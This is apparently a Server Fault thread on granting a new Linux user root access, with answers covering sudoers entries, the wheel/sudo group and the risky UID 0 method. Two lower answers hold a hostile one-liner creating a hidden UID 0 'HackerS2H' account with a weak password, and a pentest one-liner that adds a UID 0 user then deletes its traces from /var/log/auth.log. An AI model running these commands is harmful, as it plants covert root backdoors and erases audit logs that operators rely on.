32

I want to add new user and have/grant that new user to have all the root access, how can I do that ?

I did sudo adduser --system testuser but this is not working as I expected.

Thanks for help.

8 Answers 8

63

There are actually three ways you can do this: the right way, the wrong way, and the ugly way.

First, create a normal user account.

adduser username

Then select one of the following:


The Right Way

Create a sudo entry for the wheel group in /etc/sudoers like this:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Or for "modern" versions:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Then add the user to the wheel group. Adding and removing users with administrative priviledges now becomes a function of remembering to add them to wheel, instead of creating an entry in sudo. The great thing about using wheel is that you can extend this mechanism into other authentication schemes that support groups, i.e. winbind/Active Directory, and reap the benefits in the process. You would accomplish this by mapping wheel to a group in your authentication schema that has admin privileges.

Note that some distributions use different administrative accounts. Wheel is a "traditional" approach to this, but you may encounter admin, adm, and other group accounts that serve the same purpose.

Follow-up Edit:

I have to give a point to Bart Silverstrim for pointing out that Ubuntu uses admin as the group for this purpose. He got to this first, although I didn't notice an Ubuntu tag at the time. Again, it all depends on what distribution your are using.


The Ugly Way

Create a sudo entry for the user account in question and give then complete access. Again, you create the entry in /etc/sudoers like this:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

ADDED: ## For Ubuntu version: username ALL=(ALL:ALL)

This is great if you only have one (or two) normal accounts. It is ugly when you have a hundred accounts over multiple (geophysical) sites and have to constantly maintain the sudo file.


The Wrong Way

You can edit the /etc/passwd file and change the user account ID from whatever number it is, to 0. That's right, zero.

username:x:0:502::/home/username:/bin/bash

See that third entry as zero? When you log into that account, you are, for all effective purposes, root. I do not recommend this. If you do not remember "who" you are, you can create all kinds of havoc as you start creating and touching files as root. You could also add your username to the root group. This has the same effect for file access but it creates other issues; programs will notice you are not user root and refuse to run, but you will gain access to files that belong to group root.

If you did this, you did use vipw instead of just editing with vi, right? (or whatever your favorite text editor is) After all, a single typo in this file can lock you out of your system - and that means a physical visit to the computer in question with a repair disc...

17
  • 2
    I would not even document the wrong way. Too taboo.
    – elcuco
    Aug 25, 2009 at 13:10
  • 15
    I disagree. If you hide the wrong, it doesn't go away, it just festers - and sometimes, the knowledge that something is forbidden attracts more attention than it should. Better to understand why it is taboo. Especially when there are (admittedly rare) circumstances where you might need that knowledge. Still, I'll give you a point for pointing out just how really bad things can be. :) Aug 25, 2009 at 13:13
  • 1
    "After all, a single typo in this file can lock you out of your system" - no it wont, it may lock you out after you disconnect all Putty sessions(assuming you use Putty). As long as you don't disconnect, but just open another session to test your settings you are ok in this regard.
    – quamis
    Aug 25, 2009 at 14:01
  • 1
    @quamis - true. Although I was trying to point out the danger in assuming that it's safe to "fire and forget". :) A point for you too, for pointing out good practice - always test settings afterwards. Aug 25, 2009 at 14:10
  • 1
    I'd just like to note that what was traditionally 'wheel' group (with binary, flag-level elevation) in Unix is no longer a common term for group of users that can elevate with sudo. From my experience, the most common name of the group of people that can sudo is nowdays typically 'sudoers' and is already setup on most systems. Oct 10, 2012 at 13:45
3

I've been using this for years and it's the #1 recommended way to add a sudoer on AskUbuntu:

adduser existinguser sudo

Much simpler than editing files, and easy to throw in a shell script for unattended installation.

If you want to create the user and grant sudo privileges, you can do that in one line like this:

useradd newuser -m -G sudo
passwd newuser

-m created a home directory, and -G specifies a supplementary group.

2

and with this is 100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

and connect with putty and ip server

1

Well you may create user with adduser, see man adduser.
After you can add it to privileged group like root, or wheel. But i think that the most recommended way to have some permission is using sudo.

1

you can perform :

#useradd -m -g root alex

it creates a user Alex with a home directory who belongs to the root group

1

Addition to Avery Payne's answer: in Ubuntu, you may want it like so:

%sudo   ALL=(ALL:ALL) ALL

And not like so:

%sudo    ALL=(ALL) ALL
0

The "ugly and messy" way is to edit /etc/passwd to have UID=0 AND GID=0 for the new user. But this poses a LOT of security risks. You do know that if he is also root he may disable your accont, change your password, make you a "standard user"... right? so why not just give him you own account?

You may study the way suid (http://en.wikipedia.org/wiki/Setuid) works if you want to grant him root access for just a few of the commands.

-1

Here's a one liner:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Best,

2
  • 1
    Adding additional users with the uid 0 is not a good idea ... see the answer with the most votes for details. Nov 14, 2019 at 14:42
  • @GeraldSchneider I never said it was a good idea... Im well aware... and honestly its non of our concern. Its a one liner, use it in pentests all the time. Regards
    – Boschko
    Nov 14, 2019 at 20:47

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .